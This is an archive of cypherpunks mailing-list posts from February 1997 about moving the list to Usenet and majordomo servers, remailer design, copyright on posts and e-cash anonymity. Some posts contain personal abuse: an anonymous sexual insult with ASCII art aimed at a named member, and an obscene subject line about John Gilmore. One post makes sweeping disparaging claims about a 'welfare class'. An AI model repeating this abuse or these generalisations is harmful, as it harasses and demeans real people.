>>> Another suggestion may be to set sendmail expire option to one day
>>> instead of five so that messages that cannot be delivered would bounce
>>> faster and not clog the queue.
>
>>I like this idea very much. Myself I would set it for like 4 hours or so and
>>if it couldn't be delivered then bye bye. Another motivation for selective
>>sites to operate as archives without themselves being remailers.
>
>>Another issue related to this is at what point to unsubscribe accounts. It
>>seems to me that if the address times out some number of times it should be
>>deleted.
>
>>Is anyone interested in acting as a mail-to-news gateway?
>
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Krell <markk@randomc.com>
Date: Wed, 12 Feb 1997 20:56:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: strange mails...
Message-ID: <3.0.32.19970212235253.00571750@randomc.com>
MIME-Version: 1.0
Content-Type: text/plain


>From: harka@nycmetro.com
>Date: Wed, 12 Feb 1997 23:14:12 -0500 
>Subject: strange mails...
>To: markk@randomc.com
>
>Hi Mark,
>
>I had a message from you in my Inbox, in which you requested to take you
>off of any mailing list. Just for clarification: were you sending this
>message to _me_ as a private mail or were you sending it to a list?
>
>Thanks and Ciao
>
>Harka
>
>
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Krell <markk@randomc.com>
Date: Wed, 12 Feb 1997 20:57:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: your mail
Message-ID: <3.0.32.19970212235318.00571750@randomc.com>
MIME-Version: 1.0
Content-Type: text/plain


>Subject: Re: your mail
>To: markk@randomc.com (Mark Krell)
>Date: Wed, 12 Feb 1997 20:59:32 -0600 (CST)
>Reply-To: ichudov@algebra.com (Igor Chudov)
>From: ichudov@algebra.com (Igor Chudov @ home)
>X-No-Archive: yes
>Organization: Bool Sheet Software
>
>I do not think that you are on one of my mailing list.
>
>If you think that you are, please send me one of the sample messages
>WITH FULL HEADERS that came to you frm my list.
>
>I am willing to help you.
>
>	- Igor.
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 12 Feb 1997 20:57:08 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: New group
In-Reply-To: <855767149.525716.0@fatmans.demon.co.uk>
Message-ID: <0n0dvV200YUf04Xco0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

paul@fatmans.demon.co.uk writes:
<snip>
> > I pressed the URL alt.cypherpunks and my Netscape server said
> > "no such thing" or words to that effect.
> 
> The control message may take a few more hours to propogate, either 
> that or your newsadmin has rmgrouped it. The charter was clear and 
> concise and explained the issues so I don`t see why it should have 
> been rmgrouped. Can you mail me if it hasn`t been created by the time 
> you get this email and I`ll re-issue the cmsg. However, I`m sure it 
> was OK as Robert Hettinga (sp?) found it on his news server today...

Yet another "me too,"
alt.cypherpunks is alive (dunno about well, time shall tell) on my
news server.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMwKe2Mkz/YzIV3P5AQGQYQMAkwiuqAV/PsdcCscHVbsT6rxoKMv63UQh
ebBIUh9QnXxVqjxcv3dvoanYGrP1Ldyvza9GXgLlTBIwtAuC+Od026mcV0NljUT/
9WSg3iaHdUBReHpXbTsOVF+a9lQp4fzP
=Hfgq
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 16:09:53 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: John Gilmore the fascist cocksucker
Message-ID: <855792532.1123357.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Why you are doing this, Paul?
> 
> 	- Igor.

It would appear that someone I gave my password to the other day (I 
recieve no sensitive mail through this account) so they could use it 
to test a machine has a rather infantile sense of humour and have 
taken my critical posts to the list to mean that I want to spam a 
mailing list with dreck like this.

I shall ensure the offending fool is castrated forthwith...

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 16:16:50 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Network of majordomos
Message-ID: <855792537.1123372.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> What was your chater?  Could you Cc a copy to the list?

I didn`t save it but it was something along the lines of this:

Charter:

alt.cypherpunks will serve as a discussion forum for the members of 
the cypherpunks community. The discussion group previously resided on 
a mailing list run at toad.com but due to a difference of opinion 
between the majority of active members of the list and the owner of 
toad.com, John Gilmore, the list must now relocate onto usenet as a 
temporary measure while further measures are put in place to 
re-establish a mailing list format. The group has approximately 1500 
members and has been active online for some 5 years.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 12 Feb 1997 22:11:06 -0800 (PST)
To: roach_s@alph.swosu.edu (Sean Roach)
Subject: Re: subscribe
In-Reply-To: <199702130556.AAA02010@www.video-collage.com>
Message-ID: <199702130606.AAA17590@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Sean Roach wrote:
> ...
> Something to consider.  If anyone of the distributed remailers is removed
> from a ring, the messages that need to travel across that ring can no longer
> do that.  This makes the loop only as strong as its most at risk remailer.
> The star approach has already been seen in action, the trouble here is a
> single choke point.
> Full interconnectability is only feasible in a small net, but I would advise
> this at first.  Check for the x-loop to see if another one got it first.  If
> none, add one and send it on down the line.
> A disjointed mess, if the remailers are given first access to the list,
> could work quite well as long as that x-loop remained to point to who sent
> the message, and the x-loop contained an unalterable message number, and the
> remailers could eliminate duplications, probably based on message number.
> This should work as the net grows and would only be as weak as the strongest
> two connected remailers.
> Sounds like the internet.
> 

I'd suggest a simplier solution: to connect each server with a couple,
or maybe three, other servers. This scheme is rather robust, does not
consume too much CPU time and bandwidth, and is easy to implement.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Krell <markk@randomc.com>
Date: Wed, 12 Feb 1997 21:16:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re :Re?
Message-ID: <3.0.32.19970213000821.0057afe8@randomc.com>
MIME-Version: 1.0
Content-Type: text/plain


>X-Sender: camcc@smtp1.abraxis.com
>Date: Wed, 12 Feb 1997 22:36:16 -0500
>To: Mark Krell <markk@randomc.com>
>From: camcc@abraxis.com (Alec)
>Subject: Re :Re? 
>Cc: cypherpunks@toad.com
>
>At 10:02 PM 2/12/97 -0500, you nastily wrote in the form of :
>:
>:Attachment Converted: "c:\remove1.txt"
>:
>How, do you imagine, did you get on this God-forsaken list? Anger abounds. 
>
>Is this Kismet that you are here now at this crucial moment of the list's
evolution?
>
>Perhaps you have something to offer of which you are not aware.
>
>Avail yourself of our hospitality as we implode. Flee not.
>
>There is meaning to this. So our savants have told us.
>
>Speak the words to Majordomo@toad.com in the message panel (no quotes):
>
>"unsubscribe cypherpunks"
>
>Speak only thus.
>
>Bother us no more at our moment of transfiguration.
>
>Hail and farewell, Bro.
>
>
>
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 16:09:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Spam posts from my acct.
Message-ID: <855792538.1123373.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Cpunks,


A number of spam mails (I counted about 100 in my incoming mail) were 
sent to the list from my account last night.

I do not take particular precautions with my password for this 
account as there is no sensitive mail sent through it, I recall in 
particular giving the password to someone to test out a machine 
recently and I believe they may be the culprit. 

Again, my appologies for the inconvenience and you have to admit that 
while his method may have been less than subtle his message was 
certainly something we can all relate to ;-)


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 12 Feb 1997 21:16:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private property rights on cypherpunks (fwd)
In-Reply-To: <199702130430.WAA03048@einstein>
Message-ID: <Pine.GSO.3.95.970213000609.1043N-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


While I'm not entirely unsympathetic with the notion that "information
should be free," your statements below are rather incoherent.

For purposes of analysis, let's talk about a story I report and write
myself. Depending on the article and travel involved, I may have spent
hundreds of dollars working on it. I am unwilling to donate those efforts
to the "public domain" every time; I may later want to sell the article to
recoup my costs. Think property rights. (Of course, I admit the need for
broad fair use rights as well.) 

"De facto public domain" is an idea that deserves to die. Now.

-Declan



On Wed, 12 Feb 1997, Jim Choate wrote:

> 
> Forwarded message:
> 
> > Date: Wed, 12 Feb 1997 22:58:42 -0500 (EST)
> > From: Declan McCullagh <declan@pathfinder.com>
> > Subject: Private property rights on cypherpunks
> 
> > I forward articles to cypherpunks that are copyrighted by my employers, or
> > magazines like Playboy and Wired for which I write freelance pieces. 
> > 
> > I like to think these articles have some value. I will not forward any of
> > them, nor would I be able to, if they magically became "public domain."
> > 
> > "De facto public domain" is an idea that deserves to die. Now.
> 
> Really? Do you have a priori permission from your publisher, who owns those
> stories, to distribute them elsewhere?
> 
> If not please explain why I or any other person should be a willing
> acomplice? You could also still post them anonymously. You could also
> simply include a 'fair use' proviso somewhere.
> 
> In such a case it would be in your publishers best interest to require a
> copyright notice. In that case there is no confusion about who owns those
> rights. Especialy when you consider the traffic is global which means your
> 'implied copyright' here don't mean squat there. I suspect just about
> every place that recognizes a copyright recognizes an explicit one.
> 
> Instead of "De facto public domain should die" how about,
> 
> "Implied a priori contracts should die now"
> 
> Lord a mighty, haven't you heard? Information wants to be free. Let the
> thing go. If you really think your words are something that will someday win
> a Nobel or make Mr. Bill look like a pauper note it explicitly. However,
> it would seem to me that implicit copyright works against the axiomatic
> crypto-icon.
> 
> 
>                                                  Jim Choate
>                                                  CyberTects
>                                                  ravage@ssz.com
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Wed, 12 Feb 1997 23:26:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: X.500
Message-ID: <199702130726.AAA30748@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dinghy Villainous K>ocksucker< Of The Month's obsessive masturbation
has lead to advanced degree of blindness and hairy palms.

   ,/         \,
  ((__,-"""-,__))
   `--)~   ~(--`
  .-'(       )`-, Dinghy Villainous K>ocksucker< Of The Month
  `~~`d\   /b`~~`
      |     |
      (6___6)
       `---`






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 12 Feb 1997 23:07:07 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <3302B2E9.20E3@gte.net>
Message-ID: <199702130629.AAA17824@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> Igor Chudov @ home wrote:
> > Dr.Dimitri Vulis KOTM wrote:
> > > "Timothy C. May" <tcmay@got.net> writes:
> > > > At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote:
> > > > >If the people decide for creation of a new USENET newsgroup,
> > > > >we need to think very hard about actually moving it to a different
> > > > >hierarchy from alt.*. I would propose comp.org.cypherpunks,
> > > > >comp.cypherpunks, sci.crypt.cypherpunks or something like that.
> 
> > It is too late to stop alt.cypherpunks, but if I had to make a
> > prediction again, I would predict that soon posters will BEG to help
> > them create comp.*.cypherpunks, because of spam and alt.flamage.
> 
> I would lean toward sci.crypt.cypherpunks myself.  Are there any
> implications in the use of that name as to restrictions, etc.?
> 

Not really. All you have to do is to go through a formal newsgroup
creation process, post a RFD, second RFD, a CFV, and supposedly 
impartial votetakers will record the votes. You must get > 100 votes
YES, and the number of YES votes should be more than twice (thrice?)
the number of NO votes.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Wed, 12 Feb 1997 21:26:21 -0800 (PST)
To: Lee Tien <tien@well.com>
Subject: Re: anonymity and e-cash
In-Reply-To: <199702122141.NAA05987@toad.com>
Message-ID: <Pine.SUN.3.95.970213002532.499B-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 12 Feb 1997, Lee Tien wrote:
> Is payee anonymity technically possible?  Under what conditions?
> 
Yes.

In addition to having "money changers" play an anonymizing role, one can
use an anonymous bank account.  Contrary to intuition, banks might be
willing to set these up with cryptographic safeguards.

See http://www.law.miami.edu/~froomkin/articles/oceanno.htm#ENDNOTE286

which describes otherwise unpublished work by Brands (by permission).

==
The above may have been dictated via Dragon Dictate 2.52 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Wed, 12 Feb 1997 21:33:58 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Procmail during the transition, anyone?
Message-ID: <Pine.SUN.3.95.970213003450.499D-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


At various stages in the transition, we will be getting multiple copies of
the same messages as the are re- cross- whatever-posted to lists,
newsgroups and anything else handy.

Anyone have a procmail script that will show me just ONE copy of messages,
even if the headers are not identical (e.g. one looped, another was
forwarded, etc.)?

I have yet to find a good guide to procmail coding. My file is long, and
inefficient, and a pain to maintain...and I'm too busy to learn it right.

==
The above may have been dictated via Dragon Dictate 2.52 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 13 Feb 1997 00:54:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks-announce?  Do we need to recreate this?
Message-ID: <3.0.1.32.19970213005151.005d0108@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Now that cypherpunks is moving, to both a newsgroup and one or more 
mailing lists, there's still a need for cypherpunks-announce or 
something like it.  So far it's carried 1-2 announcements per month.

Should we create it as a mailing list, moderated or unmoderated,
or as a newsgroup?  (It's been a moderated mailing list, run by John and
Hugh.)
Perhaps the right implementation is a mail exploder going to
several moderators in parallel, any of whom can forward to the list,
just to cut down delays?


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 13 Feb 1997 01:21:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Security (Re: Encryption for DNS registration)
Message-ID: <3.0.1.32.19970213005917.006610f0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Donald Eastlake posted this on the IAHC-discuss list.  Cool stuff.

>Date: Wed, 12 Feb 1997 10:14:05 -0500 (EST)
>From: "Donald E. Eastlake 3rd" <dee@cybercash.com>
>To: iahc-discuss@iahc.org
>Subject: Security (Re: Encryption for DNS registration)
>
>People may want to note that yesterday (Feb 11th) the IESG approved the DNS
>dynamic update and DNS secure dynamic update (draft-ietf-dnssec-update-04.txt
>and draft-ietf-dnsind-dynDNS-11.txt) as Proposed Standards.  The base DNS
>security protocol was approved some time ago and is now out as RFC 2065.  TIS
>is working on a government funded implementation which will be in the public
>domain (http://www.tis.com/docs/research/network/dns.html).  Their current
>Beta implementation of the base DNS security has been approved for export.  I
>believe there is an independent implementation effort underway at Microsoft. 
>
>While this was primarily motived by wanting to be able to securely do dynamic
>updates of the DNS in connection with DHCP, it is a general facility and
>could be one element of securely implenmeting a shared TLD.  You would,
>however, still need a way of sending general authenticated messages.  PGP
>seems like an excellent candidate for this as it is the de-facto standard
>available world wide.
>
>Donald

	[ quotes from previous messages deleted -- Bill ]

>=====================================================================
>Donald E. Eastlake 3rd     +1 508-287-4877(tel)     dee@cybercash.com
>   318 Acton Street        +1 508-371-7148(fax)     dee@world.std.com
>Carlisle, MA 01741 USA     +1 703-620-4200(main office, Reston, VA)
>http://www.cybercash.com           http://www.eff.org/blueribbon.html
>
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 13 Feb 1997 02:08:16 -0800 (PST)
Subject: Private property & the cypherpunks list(s)
Message-ID: <3302E815.5E66@netbox.com>
MIME-Version: 1.0
Content-Type: text/plain


(Readers curious about Jim Choate's list ownership/acceptable use
policies might take a look at <http://www.ssz.com/ssz/conditions.html>.)

Jim Choate wrote:

> Please explain how making submissions de facto public domain censors
> anyone?

What the fuck is "de facto public domain"? It's public domain, or it's
not. 

Your scheme imposes a cost (loss of intellectual property rights)
against authors who would like to make themselves heard. It also
prevents a certain class of messages (those messages whose status is
"copyright claimed") from being distributed. Further, your suggestion
that posters be required to include a "fair use header" is compelled
speech.

That's three flavors of "censorship" right there. I thought that the new
list(s) were supposed to allow anyone to say anything they wanted. 

(Does "no fair use" count as a "fair use header"? It's not legally
enforceable, but it seems like the easiest way to specify "minimum fair
use required by law". If not, are you planning to moderate the list to
make sure that people use only approved fair use headers? Hmm.) 

Even if the "copyright abandonment by implication" trick works (and I
suspect it will not, given that an assignment or transfer of copyright
must be in writing, 17 USC 204; and abandonment is essentially an
assignment or transfer to the public domain), it will not apply to all
text sent to the list. A person cannot abandon or assign something they
do not have; so if someone sends a message to the list which contains
text whose copyright is held by a third party, that copyright will still
be valid. 

So what you've got is a list where you can't be sure that its contents
are public domain, and a draconian rule requiring authors to give up
their rights to what they've written.

Do you imagine that all of the many-majordomo servers will implement
your "public domain only" rule, or only yours? 

If the rule only applies to the ssz.com version, what's the point?

If the rule is intended to apply to all servers, and servers aren't
going to be allowed into the network without agreeing to implement it
locally, um, tell me again about that "free speech" thing? Aren't you
just taking advantage of your position as a person working on the
many-majordomos project to impose your ideas about intellectual property
on the rest of the list? Is such a strategy compatible with "free
speech"? 

Also, how could a rule like this possibly be compatible with a Usenet
gateway? There's no chance at all that you can expand a local rule on
your system to all of Usenet through a gateway. 

And Declan McCullagh wrote:

>I forward articles to cypherpunks that are copyrighted by my employers, or
>magazines like Playboy and Wired for which I write freelance pieces. 
>
>I like to think these articles have some value. I will not forward any of
>them, nor would I be able to, if they magically became "public domain."

Which are good points - also, don't forget that, from time to time,
people have even posted code to the cpunks list, and many software
authors like to retain copyright in their code so that they can insist
on things like noncommercial distribtion or credit where the code is
reused. If a work is truly "public domain", the author has no power to
insist on those things. 

This proposed rule seems to limit postings to those which are perceived
by their authors to be without commercial or reputational value. Is that
a good idea?

--
Greg Broiles                | US crypto export control policy
gbroiles@netbox.com         | in a nutshell:
http://www.io.com/~gbroiles | Export jobs, not crypto.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anand abhyankar <anand@querisoft.com>
Date: Wed, 12 Feb 1997 14:22:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: CAPI 2.0 beta!
Message-ID: <3302FF9D.5A0D@querisoft.com>
MIME-Version: 1.0
Content-Type: text/plain


hi guys,

anybody used the Microsoft CAPI 2.0?

anand....




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Wed, 12 Feb 1997 20:02:35 -0800 (PST)
To: gbroiles@netbox.com
Subject: Re: Network of majordomos (fwd)
In-Reply-To: <199702122313.PAA08357@toad.com>
Message-ID: <19970213040230.29730.qmail@taz.nceye.net>
MIME-Version: 1.0
Content-Type: text/plain


   Date: Wed, 12 Feb 1997 14:33:03 -0800
   From: Greg Broiles <gbroiles@netbox.com>

   Yes, I installed INN and ran a few hundred test messages through it last
   night. My machine will be on the net full-time Thursday or Friday. Will yours
   be ready then, too? 

We've got INN here. I created a cpunks.general group (as well as
alt.cypherpunks) on taz.nceye.net and made both world-accessible.  Our
feed hasn't got alt.cypherpunks yet; is someone who has got it willing
to feed it?  (also, is there a consensus on what group names to use:
new top-level hierarchy? cpunks or cypherpunks? or just the alt group,
with the usual propagation and spam problems?)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 12 Feb 1997 21:10:11 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com>
Subject: Re: (2)Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <v03007805af2801044089@[207.167.93.63]>
Message-ID: <199702130508.WAA11432@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970212:1525 "Timothy C. May" <tcmay@got.net> said:

+At 6:21 PM +0000 2/12/97, Attila T. Hun wrote:
+>    maybe relief is in sight; can we spell excedrin?
+>
+>on or about 970211:1433 educom@elanor.oit.unc.edu said:
+>
+>+COURT GRANTS COMPUSERVE INJUNCTION AGAINST JUNK E-MAIL
+>
+>+A U.S. district court in Ohio has granted CompuServe's request for a
+>+preliminary injunction barring Cyber Promotions Inc. from sending
+>+unsolicited e-mail to its subscribers while the commercial provider
+...

+Were I a customer of CompuServe, I'd ask on what basis CompuServe was
+intercepting e-mail to me. In fact, a CompuServe account holder has
+made just this point: "I'll decide what's junk mail and what's not."]]
+
    I could not agree more, in theory, except for the postage you 
    discuss below which permits spammers greed to exceed responsibility, 
    let alone the public interest.

    I am, of course, a theoretical anarchist; I believe I could put 
    aside greed (and have) to be sufficiently altruistic to make a 
    society of anarchists work (in a limited population model). 
    However:

        "Only two things are infinite, 
          the universe and human stupidity, 
          and I'm not sure about the former."
                --Albert Einstein

    as long as we have a >30% third and fourth generation welfare class 
    which the dogood liberal bleeders say we are obligated to sustain 
    their breeding; and another 30% which are functionally illiterate, 
    there is no hope for idealism.
 
    our "neighbors" have no idea how to spell anarchy, let alone 
    understand the price of freedom.

    just because I would cut off the permanent welfare class at the 
    knees, and disenfranchise the functionally illiterate if I had the 
    chance, does not make anarchy any more feasible; it's just a more 
    rigid police state for the havenots --again, something we do not 
    need.

    sorry to be a pragmatic pessimist, but it went down hill with the 
    16th amendment and the Federal Reserve Act to benefit the     
    Rockefellers, Vanderbilts, Rothschilds, Chases, etc. at our expense. 

+Having the court system involved in deciding what mail is valid and
+what is not valid is not my idea of a free society.
+
    again, you are correct except anarchy requires responsibility. free 
    agency has its requirements and this is why junk fax was banned.
    too many members of our society can not spell anarchy or 
    responsibility --their knowledge of vocabulary starts and ends with 
    greed.

+Having said this, the flaw remains that "junk mail" is "free" to the
+sender. This is a flaw in the ontology of e-mail, and needs to be
+fixed. Digital postage is one approach.

    probably cut down on our postings to cp as well!  32 cents to post?

+I'm not holding my breath, but I sure don't want a "District Court"
+deciding.

    I don't like the regulatory agencies either, but at least they are 
    not Judge Roy Bean, Law West of the Pecos.

    unfortunately, until the irresponsible tone down their greed, we 
    need the regulation to protect ourselves from the predators.

    in other words, I agree with you in my heart, but our society 
    refuses to cooperate.  

 ___________________________________________________________attila_____
  "Explain to me, slowly and carefully, 
    why if person A, when screwed over on a deal by B; 
    is morally obligated to consult, pay, and defer to, person C 
    for the purpose of seeing justice done; 
    and why person C has any legitimate gripe,
    if A just hauls off and smacks B around like a dead carp." 

 ___________________________________________________________attila_____
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0

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Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMwKgzb04kQrCC2kFAQEK0AP+PBClPteXMYFpcfJaeYgP8c077LZwFE5i
O2taYhGGY2oiuw5U2r3Y4Qv2P/8CsCtZ/eSrBlmvMTOrYEi2Le0fjiefAFKte2g4
FSJ67ttFC3gSQyj75r99TJ+roYnJzGgec9X5f/kOr3Z0m3Da6u+m/l7siNmDOPae
RDWsxwmjcyM=
=huRr
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 13 Feb 1997 06:32:25 -0800 (PST)
To: tcmay@got.net
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <199702122142.NAA06036@toad.com>
Message-ID: <o7D32D23w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


(My apologies to all the peole I like whose e-mail I haven't answered yet)

ichudov@algebra.com writes:

> Dr.Dimitri Vulis KOTM wrote:
> > "Timothy C. May" <tcmay@got.net> writes:
> > > At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote:
> > > >If the people decide for creation of a new USENET newsgroup,
> > > >we need to think very hard about actually moving it to a different
> > > >hierarchy from alt.*. I would propose comp.org.cypherpunks,
> > > >comp.cypherpunks, sci.crypt.cypherpunks or something like that.
> > > >
> > > >A comp.* or sci.* newsgroup, if created, has the following advantages
> > > >over an alt.* newsgroup:
> > > >
> > > >1) There is usually less spam in sci.* or comp.*
> > > >2) There are virtually no completely irrelevant flamewars
> > > >3) The propagation will be a lot better
> > > >4) More people will be able to read it because of the issue of providers
> > > >   not carrying alt.*.
> > > >
> > > >I see nothing that would make a sci.* or comp.* newsgroup  worse than
> > > >alt.* newsgroup.
> > >
> > > Sure, and this has come up in every past discussion of creating
> > > "alt.cypherpunks."
> > >
> > > But the creation of alt.cypherpunks is _easy_, and needs little permissio
> > > or support, whereas the creation of "soc.culture.cypherpunks" or whatever
> > > takes work, requires a vote, blah blah blah. And so it never gets off the
> > > ground.
> > >
> > > (Nor is it clear to me, and perhaps not to others, that it belongs in the
> > > the various places Igor mentioned. Comp.org.cypherpunks probably is the
> > > best fit, but then many would cite the "comp" part to try to insist that
> > > only _computer_ topics be discussed. Likewise, the "soc" domain would ske
> > > discussion...etc. "Alt" has the nice advantage of explicitly not be part
> > > sci, or comp, or soc, or even talk.)
> > >
> > (I apologize to everyone whose e-mail has gone unanswered this week - I've
> > had a bunch of other stuff to do, but I'll get to it eventually. Also,
> > I posted
> > the Anshel+Goldfield zeta function paten number - do check it out.)
> >
> > Random thoughts:
> >
> > 1. A newsgroup like comp.privacy.cypherpunks will be carried on a lot of
> > corprate news servers that don't carry alt.* (or even soc.*). Note that
> > soc.org.cypherpunks is inappropriate since cp is *not* an organization. :-)
> > Another possibility is sci.crypto.cypherpunks. (True, people whose corporat
> > newsservers don't carry soc.* and talk.* can use dejanews - provided their
> > firewall lets them.)
>
> > 2. It takes more work to create a comp.* newsgroup than an alt newsgroup.
> > It takes a vote. I'm willing to be one of the proponents and generally help
> > with the process. (Both I and Igor have been co-proponents of major Usenet
> > newsgroups - don't know about other people onthis list. :-)
>
> Not only it takes a vote. What is more important is what a vote gives:
> a good discussion of the newsgroup and the formal RFD/RFD/CFV process
> ensures that, on average, a good balance is found between various groups
> of readers.
>
> I am not concerned as to what the name of the group will be, it is
> not important. What is important is that it should be in a more or
> less flame-free zone.

I'm concerned about smart people stuck behind corporate firewalls
and able to see comp.* and sci.*. Nearly every big Wall St firm
is that way. Did I ever relate to you the story how I had to
break through the firwall at GS to accomplish mywork?

> It is too late to stop alt.cypherpunks, but if I had to make a
> prediction again, I would predict that soon posters will BEG to help
> them create comp.*.cypherpunks, because of spam and alt.flamage.

Timmy has a valid point: the reason why a comp.* newsgroup might have less
cross-posted and "off-topic" crap is because net.cops would be more
likely to complain to posters' sysadmins. Having a charter state that
cypherpunks have technical means to ignore traffic they don't like,
and don't need anyone forging cancels or complaining to sysadmins
or otherwise getting silenced, is a good idea.

What's going to happen when (not if) someone posts something in
alt.cypherpunks that Chris Lewis (spit) judges to be "spam"
and forges a cancel? Or someone posts a binary and Richard
"little dick" Depew forges a cancel?

> > 3. An unmoderated Usenet newsgroup would have even ore crap than this maili
> > list. I've been thinking of how to deal with crap, and with the obvious des
> > by some people to delegate their decision what to read and what not to read
> > to other people.
>
> It is alt.* and soc.* that has most crap, sci and comp are way better.

There's a bunch of net.cops in e.g. comp.lang.eiffel that complain to
sysadmins of anyone posting to that newsgroup who's in a member of the
"in" crowd". It may or may not cut down on the crap, but is it worth it?

